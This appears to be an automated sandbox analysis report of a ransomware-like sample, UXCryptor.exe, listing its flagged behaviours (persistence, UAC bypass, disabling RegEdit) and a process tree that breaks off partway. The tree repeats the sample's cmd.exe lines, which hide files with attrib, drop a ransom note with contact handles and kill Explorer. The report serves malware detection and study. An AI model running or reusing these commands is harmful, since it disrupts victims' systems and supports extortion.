Overview

overview

10

Static

static

3

UXCryptor.exe

windows10-2004-x64

10

UXCryptor.exe

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/08/2026, 11:57

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    UXCryptor.exe
  • Size 1.0MB
  • Sample260808-n4p5gseq3s
  • SHA256 ce2a3eef6e5994aa14737a68a0d3948b74386be7d1203e2ed4a5bef20b97bfe5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoverypersistencetrojan

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 6 IoCs
    persistence
  • UAC bypass 3 TTPs 18 IoCs
    defense_evasiontrojan
  • Disables RegEdit via registry modification 6 IoCs
    defense_evasion
  • Adds Run key to start application 2 TTPs 64 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 12 IoCs
    defense_evasiontrojan
  • Drops desktop.ini file(s) 24 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 36 IoCs
    defense_evasion
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 6 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 64 IoCs
    defense_evasion
  • Views/modifies file attributes 1 TTPs 64 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
    "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe"
    1⤵
    • Modifies WinLogon for persistence
    • UAC bypass
    • Disables RegEdit via registry modification
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2328
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4104
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:3296
      • C:\Windows\SysWOW64\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:4464
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:3424
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:1940
      • C:\Windows\SysWOW64\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:2268
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4276
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:3348
      • C:\Windows\SysWOW64\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:3952
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1020
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:992
      • C:\Windows\SysWOW64\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:2932
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:2120
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:3308
      • C:\Windows\SysWOW64\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:5004
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2496
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:1268
      • C:\Windows\SysWOW64\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
          PID:3108
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill.exe /f /im Explorer.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:948
    • C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
      "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" /setup
      1⤵
      • Modifies WinLogon for persistence
      • UAC bypass
      • Disables RegEdit via registry modification
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:4376
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        PID:4820
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5412
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:6004
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        PID:3652
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5600
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5896
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:4852
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Drops desktop.ini file(s)
          • Views/modifies file attributes
          PID:5160
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5872
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        PID:4924
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5520
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • Views/modifies file attributes
          PID:6064
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:4636
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5400
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • Views/modifies file attributes
          PID:5972
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        PID:3848
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Views/modifies file attributes
          PID:5688
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • Views/modifies file attributes
          PID:3624
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill.exe /f /im Explorer.exe
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1804
    • C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
      "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" --init
      1⤵
      • Modifies WinLogon for persistence
      • UAC bypass
      • Disables RegEdit via registry modification
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:3784
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        PID:2696
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5660
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1624
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        PID:4504
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5544
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • System Location Discovery: System Language Discovery
          PID:6076
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        PID:2708
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Drops desktop.ini file(s)
          • Views/modifies file attributes
          PID:5644
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • System Location Discovery: System Language Discovery
          PID:6140
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        PID:1808
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5616
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1696
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        PID:4884
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5676
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • Views/modifies file attributes
          PID:3000
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        PID:4492
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Views/modifies file attributes
          PID:5820
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • Views/modifies file attributes
          PID:6028
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill.exe /f /im Explorer.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1492
    • C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
      "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" -startup
      1⤵
      • Modifies WinLogon for persistence
      • UAC bypass
      • Disables RegEdit via registry modification
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:1516
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:3304
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Views/modifies file attributes
          PID:5240
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5944
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1764
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Drops desktop.ini file(s)
          • Views/modifies file attributes
          PID:5212
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • Views/modifies file attributes
          PID:5912
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:4332
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Drops desktop.ini file(s)
          • Views/modifies file attributes
          PID:3936
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • Views/modifies file attributes
          PID:5384
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:2196
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Drops desktop.ini file(s)
          • Views/modifies file attributes
          PID:5232
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5920
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2684
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1148
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
            PID:1216
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4048
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:3360
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:5788
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill.exe /f /im Explorer.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1696
      • C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
        "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe"
        1⤵
        • Modifies WinLogon for persistence
        • UAC bypass
        • Disables RegEdit via registry modification
        • Adds Run key to start application
        • Checks whether UAC is enabled
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        • System policy modification
        PID:5060
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          PID:1160
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:5804
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
            • Views/modifies file attributes
            PID:3844
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          • System Location Discovery: System Language Discovery
          PID:2932
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • Drops desktop.ini file(s)
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:5836
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
            • System Location Discovery: System Language Discovery
            PID:3472
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          PID:628
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • Drops desktop.ini file(s)
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:5780
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
            • Views/modifies file attributes
            PID:5980
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          • System Location Discovery: System Language Discovery
          PID:3308
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • Drops desktop.ini file(s)
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:5812
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:6016
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          • System Location Discovery: System Language Discovery
          PID:2124
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • Drops desktop.ini file(s)
            • Views/modifies file attributes
            PID:5904
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
            • Views/modifies file attributes
            PID:6084
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          • System Location Discovery: System Language Discovery
          PID:2936
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:5796
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:5992
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill.exe /f /im Explorer.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4440
      • C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
        "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" --wininit
        1⤵
        • Modifies WinLogon for persistence
        • UAC bypass
        • Disables RegEdit via registry modification
        • Adds Run key to start application
        • Checks whether UAC is enabled
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        • System policy modification
        PID:5108
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          • System Location Discovery: System Language Discovery
          PID:4868
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • Views/modifies file attributes
            PID:5652
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:4232
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          • System Location Discovery: System Language Discovery
          PID:4388
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • Drops desktop.ini file(s)
            • Views/modifies file attributes
            PID:5668
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
            • Views/modifies file attributes
            PID:6132
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          • System Location Discovery: System Language Discovery
          PID:2724
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • Drops desktop.ini file(s)
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:5608
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:6124
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          • System Location Discovery: System Language Discovery
          PID:2836
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • Drops desktop.ini file(s)
            • Views/modifies file attributes
            PID:5592
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
            • Views/modifies file attributes
            PID:6116
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @antil0ck_bot OR discord theallahhimself 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          • System Location Discovery: System Language Discovery
          PID:4720
